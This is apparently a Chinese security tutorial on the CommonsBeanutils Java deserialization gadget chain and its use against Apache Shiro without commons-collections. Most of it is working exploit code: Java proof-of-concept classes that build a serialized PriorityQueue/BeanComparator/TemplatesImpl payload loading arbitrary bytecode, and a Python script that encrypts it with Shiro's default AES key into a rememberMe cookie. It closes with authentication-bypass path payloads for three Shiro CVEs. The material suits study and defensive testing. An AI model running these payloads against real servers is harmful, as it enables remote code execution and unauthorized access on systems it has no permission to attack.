0%

CommonsBeanutils及shiro中利用

前言

这篇将介绍一下 CommonsBeanutils 链,以及没有 commons-collections 的Shiro反序列化利用

Apache Commons Beanutils

Apache Commons Beanutils 提供了对Java普通类对象(也成为 JavaBean) 的一些操作方法。

至于JavaBean

  • 有一个public的无参数构造函数。
  • 属性可以透过get、set、is(可替代get,用在 布尔型 属性上)方法或遵循特定命名规则的其他方法访问。
  • 可序列化

也就是说属性都可通过 访问器(读)更改器(写) 来进行操作,也就是 getter 和 setter

public class Person {
private String name;
private int age;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; } //读
public void setAge(int age) { this.age = age; } //更改
}

commons-beanutils 提供了一个静态方法,PropertyUtils.getProperty ,可以调用任意 JavaBean 的getter方法。

PropertyUtils.getProperty(new Person(),"name");

就可以调用 Person 对象的 name属性的 getter方法。他还支持递归,获取属性,比如 PropertyUtils.getProperty(obj,"b.a")

就可以获取 b属性(对象)下的a属性。不是真正调用具体的getter方法,可以说是一种抽象的方法,比如

PropertyUtils.getProperty(new Person(),"abc")

并不是说真的去调用 Person 类的 abc 属性的 getter,而是调用getAbc(),不管这个类有没有abc属性。

流程分析

也就是说当调用 PropertyUtils.getProperty(o1, property) 时 如果控制了o1,会自动调用 getter 方法,需要寻找一处符合getter格式的利用点,起到承上启下的作用,在 TemplatesImpl 中的 getOutputProperties() 符合条件,调用 newTransformer() 最后利用点最后调用到defineClass实现动态类加载。

image-20220309155025401

向上需要寻找调用 getProperty() 的地方,commons-beanutils 里有一个 BeanComparator 类的 compare方法,以这里为起点,串起了整条链子

image-20220309155316931

那么最开始是从哪个readObject才能调用compare方法?在CC2中知道 PriorityQueue 重写了readObject方法,执行了java.util.Comparator 接口的 compare() 方法,至此链子完整

image-20220309155804696

构造poc

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CB {

public static void main(String[] args) throws Exception {
//创建TemplateImpl 对象动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","a");
//setFieldValue(obj,"_class",null);
//setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

//创建BeanComparator
Comparator comparator = new BeanComparator("outputProperties");

PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值,后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);

//反射设置 Field
Object[] objects = new Object[]{obj,1};
//setFieldValue(comparator,"property","outputProperties");
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);

serialize(priorityQueue);
//unserialize("ser.bin");

}

public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

在序列化的时候报错,在 BeanComparator

image-20220309163136570

跟进,没有找到 ComparableComparator ,这个类来自于 commons.collections ,但是已经进行了删除

image-20220309163313045

所以需要找一个可以替换的,需要满足

实现java.util.Comparator 接口
实现java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的快捷键Ctrl+Alt+B搜索接口的实现类。找到了CaseInsensitiveComparator

image-20220309164648452

可以通过 CASE_INSENSITIVE_ORDER 拿到 CaseInsensitiveComparator 类

这个CaseInsensitiveComparator 类是java.lang.String 类下的一个内部私有类,其实现了Comparator 和Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator 对象,用它来实例化 BeanComparator。

然后用 BeanComparator 第三种构造方法

image-20220309164809686

最终poc

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import static java.lang.String.CASE_INSENSITIVE_ORDER;

public class CB {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception {
//创建TemplateImpl 对象动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","a");
//setFieldValue(obj,"_class",null);
//setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

//创建BeanComparator
Comparator comparator = new BeanComparator(null,CASE_INSENSITIVE_ORDER);

PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值,后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);

//反射设置 Field
Object[] objects = new Object[]{obj,1};
setFieldValue(comparator,"property","outputProperties");
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);

//serialize(priorityQueue);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}

shiro中的利用

在shiro中如果没有CC依赖,可以利用CB链,因为shiro 是依赖于 commons-beanutils 的,去掉pom.xml中的CC依赖,python生成payload

import base64
from Crypto.Cipher import AES

with open(r"ser.bin","rb") as f:
byte_POC = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(byte_POC)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print("rememberMe={}".format(base64_ciphertext.decode()))

image-20220309170133185

shiro 权限绕过

CVE-2020-1957

/xxx/..;/admin

CVE-2020-11989

/;/admin
/admin/a%25%32%66a

CVE-2020-13933

/admin/%3baaa